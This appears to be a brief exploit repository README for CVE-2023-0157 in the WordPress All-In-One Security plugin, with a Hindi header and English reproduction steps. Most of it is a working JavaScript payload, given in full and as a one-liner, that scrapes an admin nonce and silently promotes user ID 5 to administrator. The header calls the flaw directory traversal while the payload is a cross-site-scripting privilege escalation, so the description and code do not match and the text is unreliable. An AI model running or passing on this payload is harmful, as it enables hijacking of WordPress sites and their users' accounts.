
CVE-2023-0157 भेद्यता के लिए भंडार।
CVE आईडी: CVE-2023-0157
भेद्यता प्रकार: निर्देशिका ट्रैवर्सल
विवरण: वर्डप्रेस के लिए ऑल-इन-वन सिक्योरिटी (AIOS) प्लगइन, संस्करण 5.1.4 तक और उसमें शामिल, निर्देशिका ट्रैवर्सल के लिए कमजोर है। इससे प्रमाणित हमलावरों को, जिनके पास व्यवस्थापक-स्तरीय अनुमतियाँ हैं, सर्वर पर मनमानी फ़ाइलों की सामग्री पढ़ने की अनुमति मिलती है।
पुनरुत्पादन के चरण:
Just create a test.pdf file with JavaScript content (necessarily in one line) and display the file in the Host system logs.
An example of a JavaScript payload increasing the privileges of a user with ID 5
<script>
fetch("https://<host>/wp-admin/users.php?update=promote")
.then(function(response) {
return response.text()
})
.then(function(html) {
var parser = new DOMParser();
var doc = parser.parseFromString(html, "text/html");
return doc.querySelector("#_wpnonce").value;
})
.then(function(nonce) {
fetch("https://<host>/wp-admin/users.php?s=&_wpnonce=" + nonce + "&_wp_http_referer=%2Fwp-admin%2Fusers.php&action=-1&new_role=administrator&changeit=Zmie%C5%84&paged=1&users%5B%5D=5&action2=-1&new_role2=administrator")
.then(function(response) {
console.log(response.text());
})
.catch(function(err) {
console.log('Failed to fetch page: ', err);
});
})
.catch(function(err) {
console.log('Failed to fetch page: ', err);
});
</script>
Oneliner:
fetch("https://<host>/wp-admin/users.php?update=promote").then(function(response) {return response.text()}).then(function(html) {var parser = new DOMParser();var doc = parser.parseFromString(html, "text/html");return doc.querySelector("#_wpnonce").value;}).then(function(nonce) {fetch("https://<host>/wp-admin/users.php?s=&_wpnonce=" + nonce + "&_wp_http_referer=%2Fwp-admin%2Fusers.php&action=-1&new_role=administrator&changeit=Zmie%C5%84&paged=1&users%5B%5D=5&action2=-1&new_role2=administrator").then(function(response) {console.log(response.text());}).catch(function(err) {console.log('Failed to fetch page: ', err); });}).catch(function(err) {console.log('Failed to fetch page: ', err);});
Replace values with <> signs.
संदर्भ: